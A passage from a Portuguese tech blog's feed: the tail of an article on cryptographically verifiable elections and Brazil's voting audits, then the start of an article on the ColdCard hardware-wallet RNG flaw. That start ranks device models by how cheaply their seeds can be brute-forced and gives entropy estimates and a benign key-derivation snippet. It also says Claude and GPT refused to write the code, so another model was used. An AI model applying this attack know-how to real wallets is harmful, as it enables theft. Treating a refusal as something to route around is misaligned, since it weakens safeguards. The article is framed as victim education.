<p>O resultado prático é a garantia que interessa aqui: mexa em <strong>uma transação</strong> de um bloco antigo e a raiz da árvore muda, o hash do bloco muda, o elo com o bloco seguinte quebra, e pra esconder isso você precisaria refazer a prova de trabalho de todos os blocos até hoje — enquanto milhares de nós honestos continuam alongando a cadeia verdadeira. Depois que tudo está assinado e selado por hash, adulterar o passado é computacionalmente impossível. É exatamente por isso que o Bitcoin pode ser 100% público: a exposição funciona como proteção, não como risco. Todo mundo tem cópia de tudo, então ninguém reescreve a história.</p>
<p><strong>Mas público não significa anônimo.</strong> Essa é a parte que a maioria confunde. No Bitcoin, toda transação fica visível pra sempre: quais endereços alimentaram, quais receberam, quanto foi. Endereços são pseudônimos — apelidos, não anonimato. E existe uma indústria inteira de análise de cadeia (Chainalysis, Elliptic, TRM) que vive de grudar identidade nesses apelidos:</p>
<ul>
<li><strong>Heurística dos inputs comuns:</strong> se uma transação gasta moedas de vários endereços, quase certamente todos pertencem à mesma carteira. Agrupe-os num cluster.</li>
<li><strong>Detecção de troco:</strong> o output que volta pra um endereço novo costuma ser do próprio pagador.</li>
<li><strong>Ponte com o mundo real:</strong> quando um endereço do cluster encosta numa exchange com KYC, o nome e o CPF se ligam ao cluster inteiro — e ao histórico completo dele, retroativamente.</li>
</ul>
<p>Foi assim que o FBI recuperou parte do resgate do oleoduto Colonial, foi assim que as moedas da Silk Road foram rastreadas anos depois, e é assim que os ~1.128 BTC roubados das ColdCards continuam parados em endereços conhecidos que meio mundo vigia — eu detalhei isso no <a href="/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/">artigo sobre o RNG da Coinkite</a>. Se o ladrão mover um satoshi pra uma exchange com KYC, ele se identifica. A cadeia garante integridade, não sigilo.</p>
<p>Pra ter anonimato de verdade, não basta a cadeia: precisa de prova de conhecimento zero. O Monero, por exemplo, combina três técnicas:</p>
<ol>
<li><strong>Assinaturas de anel</strong> (<em>ring signatures</em>): cada gasto é assinado em nome de um grupo de chaves possíveis. A assinatura prova que <strong>uma delas</strong> autorizou, sem revelar qual.</li>
<li><strong>Endereços furtivos</strong> (<em>stealth addresses</em>): o endereço do destinatário nunca aparece na cadeia; cada pagamento cria um endereço descartável, derivado de um segredo compartilhado.</li>
<li><strong>RingCT</strong> (<em>confidential transactions</em>): os valores ficam escondidos em <strong>compromissos Pedersen</strong> — sim, exatamente a Peça 2 deste artigo — e uma prova de alcance em ZK garante que ninguém criou moeda do nada, sem revelar quantia nenhuma.</li>
</ol>
<p>O Zcash segue a mesma filosofia com zk-SNARKs: você prova &ldquo;eu sou dono de uma nota válida e ainda não gasta&rdquo; sem revelar qual nota. A rede verifica a prova, aceita a transação e não aprende remetente, destinatário nem valor.</p>
<p>E aqui o círculo se fecha. Olhe o que o esquema eleitoral deste artigo usa: uma estrutura pública e imutável que qualquer um verifica (a Merkle tree, primo mais simples da blockchain), compromissos Pedersen pra esconder o conteúdo (a mesma primitiva do Monero) e provas ZK pra garantir validade sem revelação (a mesma família do Monero e do Zcash). Nada disso é conjectura de laboratório: são sistemas em produção, auditados, atacados diariamente, protegendo dinheiro de verdade. Uma eleição é, se muito, um problema mais simples — janela curta, um publicador só, verificação offline.</p>
<p>Por isso eu disse lá no começo que a ideia é matematicamente sólida: ela não inventa nada, só compõe peças que já provaram aguentar o mundo real. Sabemos que um sistema de eleição digital verificável ponta a ponta <strong>poderia</strong> ser construído, porque todos os componentes dele já estão construídos e funcionando. O que nos leva de volta ao problema que não é técnico.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixo claro mais uma vez, como deixei nos tweets: <strong>isso não é uma proposta, é um exercício.</strong> Eu não sei qual é a solução pro problema da confiança eleitoral no Brasil. Se soubesse, estaria publicando paper, não post de blog.</p>
<p>Mas o exercício vale por duas razões. Primeiro, porque mostra que a tecnologia pra ter verificabilidade individual e universal <strong>existe</strong> — quem diz &ldquo;eleição digital é inerentemente inauditável&rdquo; está errado. Segundo, porque mostra o limite real: a fronteira não é técnica, é epistemológica. Um sistema perfeito que ninguém entende falha no mesmo ponto que um sistema imperfeito que ninguém pode auditar.</p>
<p>Se você entendeu cada linha deste artigo, parabéns: você faz parte de uma minoria pequena demais pra carregar uma democracia nas costas.</p>
<h2>Apêndice 1: afinal, o sistema atual é auditável?<span class="hx:absolute hx:-mt-20" id="apêndice-1-afinal-o-sistema-atual-é-auditável"></span>
    <a href="#ap%c3%aandice-1-afinal-o-sistema-atual-%c3%a9-audit%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Fica no ar uma pergunta justa: então o sistema atual não tem auditoria nenhuma? Tem sim, e vale ser honesto sobre isso. O que não existe é um tipo específico de auditoria: a que não depende de software. Vamos por partes.</p>
<p>O arsenal atual, resumido e com as fontes:</p>
<ul>
<li><strong>Inspeção de código-fonte.</strong> Partidos, OAB, TCU, Polícia Federal, Ministério Público e universidades podem examinar o código dos sistemas na sede do TSE, meses antes da eleição — o tal <a href="https://www.tse.jus.br/comunicacao/noticias/2025/Novembro/codigos-fonte-do-ciclo-de-transparencia-ao-teste-publico-da-urna"target="_blank" rel="noopener">ciclo de transparência</a>.</li>
<li><strong>Teste Público de Segurança (TPS).</strong> Pesquisadores externos tentam atacar o sistema de verdade. E ele funciona: em 2012, a equipe do professor Diego Aranha desembaralhou o RDV e mostrou que dava pra descobrir em quem cada eleitor votou; em 2017, conseguiram adulterar o software de votação antes da instalação (a história está na <a href="https://revistapesquisa.fapesp.br/a-urna-eletronica-na-maturidade/"target="_blank" rel="noopener">Revista Pesquisa FAPESP</a> e neste <a href="https://www.agencialupa.org/jornalismo/2023/11/27/entenda-como-funciona-o-teste-de-seguranca-das-urnas-eletronicas-feito-pelo-tse/"target="_blank" rel="noopener">resumo da Lupa</a>). As falhas encontradas foram corrigidas depois.</li>
<li><strong>Zerésima, BU e Teste de Integridade.</strong> Antes da votação, a urna imprime o relatório zerado. No fim do dia, imprime o Boletim de Urna, afixado na seção e publicado digitalmente com QR code — qualquer um pode baixar os BUs e somar por conta própria. E uma amostra aleatória de urnas é desviada pra uma votação paralela, filmada, comparando o registro em papel com o digital.</li>
<li><strong>RDV — a &ldquo;recontagem digital&rdquo;.</strong> A urna grava cada voto individual num arquivo embaralhado e anonimizado, publicado depois (<a href="https://www.tse.jus.br/legislacao/compilada/res/2021/resolucao-no-23-673-14-de-dezembro-de-2021"target="_blank" rel="noopener">definição na Resolução TSE 23.673/2021</a>). Partidos e entidades autorizadas podem re-somar os votos e cruzar com os BUs e com a totalização oficial — é o mecanismo oficial apresentado como substituto da recontagem em papel (<a href="https://www.tse.jus.br/eleicoes/historia/processo-eleitoral-brasileiro/votacao/votacao-segura"target="_blank" rel="noopener">explicação do TSE</a>).</li>
<li><strong>Auditorias externas.</strong> Em 2022, o TCU cruzou 9 milhões de registros de 4.577 seções eleitorais com a base de totalização e encontrou zero divergências — probabilidade de fraude &ldquo;próxima de 0%&rdquo; (<a href="https://www.cnnbrasil.com.br/politica/auditoria-do-tcu-diz-que-possibilidade-de-fraude-nas-eleicoes-de-2022-e-proxima-de-0/"target="_blank" rel="noopener">CNN Brasil</a>). O Carter Center observou as eleições de 2022, não registrou evidência de fraude e reconheceu a ampliação das auditorias (<a href="https://www.cartercenter.org/news/pr/2022/brazil-100522-portuguese.pdf"target="_blank" rel="noopener">declaração da missão</a>).</li>
</ul>
<p>Agora o &ldquo;mas&rdquo; que este artigo inteiro constrói: <strong>toda camada dessa lista depende de software ou de cerimônia conduzida pelo próprio TSE.</strong> A comparação BU × RDV prova consistência interna — que os números publicados batem com os números registrados. Ela não prova que os números registrados refletem o que os eleitores apertaram na tela, porque uma urna adulterada produziria BU e RDV adulterados de forma perfeitamente consistente. É o que o próprio Aranha resume: todas as auditorias disponíveis hoje dependem do software; se o programa for adulterado, todas as checagens caem juntas (<a href="https://www1.folha.uol.com.br/poder/2021/06/so-brasil-bangladesh-e-butao-usam-urna-eletronica-sem-comprovante-do-voto-impresso.shtml"target="_blank" rel="noopener">Folha de S.Paulo</a>). E o Teste de Integridade, que cobre uma amostra pequena de urnas, é um primo pobre do desafio de Benaloh da Peça 4: em vez de cada eleitor auditar a própria cédula na hora, quem audita é uma amostra sorteada e conduzida pelo sistema.</p>
<p>Tem ainda o capítulo jurídico: a tentativa de criar um registro em papel verificável pelo eleitor, o &ldquo;voto impresso&rdquo;, foi declarada inconstitucional pelo STF na ADI 4543, por risco ao sigilo do voto, e a tentativa de ressuscitá-la foi barrada de novo em 2020 (<a href="https://conjur.com.br/2020-set-16/supremo-confirma-liminar-impede-volta-voto-impresso/"target="_blank" rel="noopener">Conjur</a>). A ironia é que o esquema deste artigo resolve exatamente o conflito que derrubou o voto impresso: recibo verificável <strong>sem</strong> quebrar o sigilo, via compromissos e provas ZK. A matemática destrava o que o papel não destravou. O que continua travado é todo o resto, como as seções anteriores explicam.</p>
<p>O veredito honesto, então: o sistema brasileiro é auditável de formas digitais e procedurais reais, e nunca se provou fraude que alterasse um resultado em quase 30 anos de urna eletrônica. Mas não existe recontagem independente de software, porque não existe registro físico verificado pelo eleitor. Na linguagem da pesquisa de segurança eleitoral, uma <em>risk-limiting audit</em> de verdade não é possível. A confiança continua depositada no software, nas inspeções prévias e na custódia dos registros digitais — exatamente o que o sistema hipotético deste artigo tenta eliminar.</p>
<h2>Apêndice 2: skin in the game — recompensar quem verifica<span class="hx:absolute hx:-mt-20" id="apêndice-2-skin-in-the-game--recompensar-quem-verifica"></span>
    <a href="#ap%c3%aandice-2-skin-in-the-game--recompensar-quem-verifica" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que fica no ar depois de montar o esquema inteiro: criptomoedas funcionam porque alguém tem algo a perder. No Bitcoin, o minerador queima energia de verdade; no proof-of-stake, o validador deposita capital que é confiscado se trapacear. E o eleitor? Votar não custa nada, e conferir o recibo em casa dá trabalho de graça. O sistema inteiro depende de gente verificando — e ninguém tem incentivo pra verificar. Dá pra colocar <em>skin in the game</em> no eleitor?</p>
<p>A primeira ideia que vem à cabeça é um depósito: vote, deposite uma quantia, receba de volta depois via imposto de renda. Como desenho de mecanismo, tem lógica — precifica identidade falsa: um milhão de votos fantasmas custaria cem milhões de reais. Na prática, morre em três lugares. É um imposto eleitoral disfarçado, censitário e inconstitucional — a devolução resolve a contabilidade, não o fluxo de caixa de quem não tem o dinheiro pra adiantar. A via &ldquo;imposto de renda&rdquo; não alcança a maioria dos brasileiros pobres, que nem declaram — ou seja, exclui exatamente quem o sistema mais precisa incluir. E criaria na Receita um banco de dados ligando identidade, conta bancária e participação eleitoral, um retrocesso de vigilância maior que o problema que resolve. Tudo isso antes do detalhe plutocrático: segurança precificada em dinheiro é segurança comprável por quem tem dinheiro. Eleição é desenhada pra ser cega a riqueza — um voto por pessoa. Colocar preço na camada de segurança é convidar o rico a ser mais igual que os outros.</p>
<p>A versão que sobrevive a esse crivo inverte o sinal: em vez de cobrar pra votar, <strong>recompensar quem verifica</strong>. O ponto fraco real do esquema é a taxa de verificação individual — se ninguém confere o serial em casa, a prova de inclusão da Peça 3 vira decoração. Então: cada recibo verificado entra num sorteio público e auditável, com a raiz da própria árvore servindo de fonte de aleatoriedade (mais um uso pra ela). Conferiu seu voto na árvore? Concorre a um prêmio. O incentivo aponta exatamente pro comportamento que o sistema precisa — milhões de olhos conferindo a árvore — sem excluir ninguém, sem cobrar nada e sem banco de dados novo, porque o sorteio roda em cima do serial anônimo, não da identidade.</p>
<p>É a lógica do Bitcoin do lado certo: lá, a recompensa por bloco paga pra milhares de máquinas manterem o ledger honesto; aqui, o prêmio pagaria pra milhões de eleitores manterem a eleição honesta. É quase uma <em>proof of verification</em>: a recompensa de bloco paga o trabalho de hashear que sustenta o Bitcoin, e o prêmio pagaria o trabalho de conferir que sustentaria a eleição. Não é proposta — como nada neste artigo —, mas como exercício de desenho de incentivos, é a versão que eu colocaria no papel.</p>
<h2>Apêndice 3: por que &ldquo;conhecimento zero&rdquo; é tão difícil de engolir<span class="hx:absolute hx:-mt-20" id="apêndice-3-por-que-conhecimento-zero-é-tão-difícil-de-engolir"></span>
    <a href="#ap%c3%aandice-3-por-que-conhecimento-zero-%c3%a9-t%c3%a3o-dif%c3%adcil-de-engolir" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você chegou até aqui com a sensação de que entendeu cada peça individualmente, mas não juraria que entendeu o conjunto, relaxa: você está em ótima companhia. Quando Goldwasser, Micali e Rackoff formalizaram provas de conhecimento zero nos anos 80, a ideia soou paradoxal até pra criptógrafo de profissão. Toda prova que a gente conhece funciona <em>mostrando</em> alguma coisa. Como pode uma prova transferir convicção sem transferir informação nenhuma?</p>
<p>A matemática das Peças 2 a 5 é a resposta completa, mas a intuição demora a assentar. Então aqui vão duas analogias clássicas que não envolvem equação nenhuma — cada uma ilumina uma metade do conceito.</p>
<p><strong>Onde está o Wally?</strong> Eu digo que encontrei o Wally na página e quero te provar isso sem revelar onde ele está — senão você ganha o jogo de graça. A solução: pego uma folha de papelão enorme, bem maior que o livro, faço um furo pequeno no meio e posiciono sobre a página de modo que só o Wally apareça pelo furo. Você vê o Wally. Mas como o papelão cobre tudo em volta, você não faz ideia de em que canto da página ele está. Eu provei que sei a localização; você aprendeu zero sobre ela. E repare no que sustenta a prova: se eu não soubesse onde ele está, não teria como posicionar o papelão — a chance de acertar o furo no Wally por sorte é minúscula. É a caverna de Ali Babá de novo, só que com papelão.</p>
<p><strong>As duas bolas do amigo daltônico.</strong> Seu amigo é daltônico vermelho-verde. Você tem duas bolas idênticas em tamanho, peso e textura, uma vermelha e uma verde, e afirma: &ldquo;essas bolas são de cores diferentes&rdquo;. Pra ele, são indistinguíveis. Como provar sem revelar qual é qual? Ele mostra as duas bolas, uma em cada mão. Esconde as mãos atrás das costas e decide, sozinho, se troca as bolas de mão ou não. Mostra de novo e pergunta: &ldquo;troquei?&rdquo;. Você, que enxerga as cores, acerta sempre. Ele, que não enxerga, não passaria de 50%. Depois de 20 acertos seguidos, ele está convencido de que as bolas são diferentes — a chance de você blefar 20 rodadas é uma em um milhão. E o que ele aprendeu sobre qual bola é a vermelha? <strong>Nada.</strong> Cada resposta sua (&ldquo;trocou&rdquo;, &ldquo;não trocou&rdquo;) era algo que ele mesmo já sabia — afinal, foi ele quem decidiu se trocava ou não. A informação da rodada já era dele; a única coisa nova é a convicção de que você enxerga a diferença.</p>
<p>A versão formal dessa intuição é o simulador da Peça 5: se qualquer pessoa, sem saber segredo nenhum, consegue fabricar a &ldquo;gravação&rdquo; de uma sessão de prova indistinguível de uma sessão real, então a sessão real não pode carregar informação sobre o segredo. O poder de convencer vem da ordem das operações — primeiro o compromisso, depois o desafio. O conhecimento zero vem do fato de que a gravação, sozinha, é falsificável. As duas coisas são verdade ao mesmo tempo, por razões diferentes. É por isso que o conceito escorrega: você segura dois fatos que parecem se contradizer até perceber que cada um se apoia numa coisa distinta.</p>
<p>E se mesmo depois de tudo isso o conceito continua escorregadio, ótimo: você acabou de sentir na pele o argumento central deste artigo.</p>
]]></content:encoded><category>politica</category><category>seguranca</category><category>tutoriais</category></item><item><title>Explorando o problema escandaloso do RNG da Coinkite</title><link>https://www.akitaonrails.com/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/01/explorando-o-problema-escandaloso-do-rng-da-coinkite/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 GMT</pubDate><description>&lt;p&gt;Ontem publiquei o alerta prático: &lt;a href="https://www.akitaonrails.com/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/"&gt;se você guarda Bitcoin em ColdCard, mova tudo&lt;/a&gt;. Hoje vou mostrar &lt;strong&gt;como&lt;/strong&gt; a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.&lt;/p&gt;
&lt;p&gt;O código didático deste artigo foi gerado com &lt;strong&gt;Kimi K3&lt;/strong&gt;. É curioso notar que, ao mesmo prompt, tanto o &lt;strong&gt;Claude&lt;/strong&gt; quanto o &lt;strong&gt;GPT&lt;/strong&gt; se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem publiquei o alerta prático: <a href="/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/">se você guarda Bitcoin em ColdCard, mova tudo</a>. Hoje vou mostrar <strong>como</strong> a coisa funciona do lado do atacante. Não é um tutorial pra roubar ninguém; é uma explicação didática sobre uma classe de bugs que pouca gente conhece por dentro, usando dados reais da blockchain e código que qualquer programador consegue ler.</p>
<p>O código didático deste artigo foi gerado com <strong>Kimi K3</strong>. É curioso notar que, ao mesmo prompt, tanto o <strong>Claude</strong> quanto o <strong>GPT</strong> se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.</p>
<p>O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: &ldquo;se a ColdCard fica offline, como os bitcoins sumiram?&rdquo;.</p>
<blockquote>
  <p><strong>Aviso:</strong> o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.</p>

</blockquote>
<h2>O resumo do post anterior<span class="hx:absolute hx:-mt-20" id="o-resumo-do-post-anterior"></span>
    <a href="#o-resumo-do-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro <code>MICROPY_HW_ENABLE_RNG</code> foi definida como <code>0</code>, mas a guarda no <code>libNgU</code> usava <code>#ifndef</code>, que só pergunta se o símbolo existe. O build passou, a chamada <code>rng_get()</code> caiu no fallback de software <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.</p>
<p>Para quem não lida com hardware, vale traduzir essas siglas:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. <strong>A ColdCard não tem essa bateria.</strong> Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores <code>RTC-&gt;TR</code> e <code>RTC-&gt;SSR</code> leiam zero ou um valor estático toda vez que o aparelho liga &ldquo;frio&rdquo;. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o &ldquo;tempo&rdquo; não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.</li>
<li><strong>SysTick</strong> é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até <code>0x00FFFFFF</code> e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como <code>0x003D7A12</code>. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).</li>
</ul>
<p>A análise da <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> e o <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">backgrounder técnico da Coinkite</a> concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.</p>
<p>O ponto central é: <strong>a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos.</strong> Quarenta bits não são seguros. São enumeráveis com hardware barato.</p>
<h2>A carteira não fica &ldquo;dentro&rdquo; da ColdCard<span class="hx:absolute hx:-mt-20" id="a-carteira-não-fica-dentro-da-coldcard"></span>
    <a href="#a-carteira-n%c3%a3o-fica-dentro-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.</p>
<p>No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva <code>secp256k1</code>. Quem conhece o número pode assinar. Quem não conhece, não consegue.</p>
<p>Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.</p>
<p>Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles &ldquo;segura&rdquo; seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.</p>
<h2>Como o atacante prioriza os modelos<span class="hx:absolute hx:-mt-20" id="como-o-atacante-prioriza-os-modelos"></span>
    <a href="#como-o-atacante-prioriza-os-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:</p>
<table>
  <thead>
      <tr>
          <th>Modelo / firmware</th>
          <th>O que o atacante precisa adivinhar</th>
          <th>Espaço aproximado</th>
          <th>Prioridade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>UID do chip, estado dos timers, histórico de chamadas ao RNG</td>
          <td>~40 bits no modelo da Coinkite; determinístico se tudo for conhecido</td>
          <td><strong>1º — atacar primeiro</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 sem reseed bem-sucedido</td>
          <td>Mesmo fallback de cima, com possível falha silenciosa no secure element</td>
          <td>~41 bits</td>
          <td><strong>2º</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 com reseed normal</td>
          <td>Estado do fallback + 32 bits do secure element</td>
          <td>~72 bits brutos, sendo 32 bits de verdadeiro segredo adicionado</td>
          <td><strong>3º — mais caro</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 até v3.2.2</td>
          <td>TRNG de hardware funcionando</td>
          <td>~256 bits</td>
          <td>inatingível</td>
      </tr>
  </tbody>
</table>
<p>Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.</p>
<p>Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.</p>
<p>O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.</p>
<h2>128 bits, 40 bits e 72 bits: qual é a diferença?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-e-72-bits-qual-é-a-diferença"></span>
    <a href="#128-bits-40-bits-e-72-bits-qual-%c3%a9-a-diferen%c3%a7a" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.</p>
<p>Imagine que você consegue testar <strong>1 bilhão de candidatos por segundo</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidatos</th>
          <th>Tempo para varrer tudo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1,1 trilhão</td>
          <td>~18 minutos</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4,7 sextilhões</td>
          <td>~150 mil anos</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3,4 × 10³⁸</td>
          <td>~10²² anos (muitas ordens de magnitude além da idade do universo)</td>
      </tr>
  </tbody>
</table>
<p>Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.</p>
<p>Por isso 40 bits não são &ldquo;um pouco menos seguros&rdquo; que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.</p>
<h2>De um número inteiro para uma wallet<span class="hx:absolute hx:-mt-20" id="de-um-número-inteiro-para-uma-wallet"></span>
    <a href="#de-um-n%c3%bamero-inteiro-para-uma-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropia (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 palavras): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
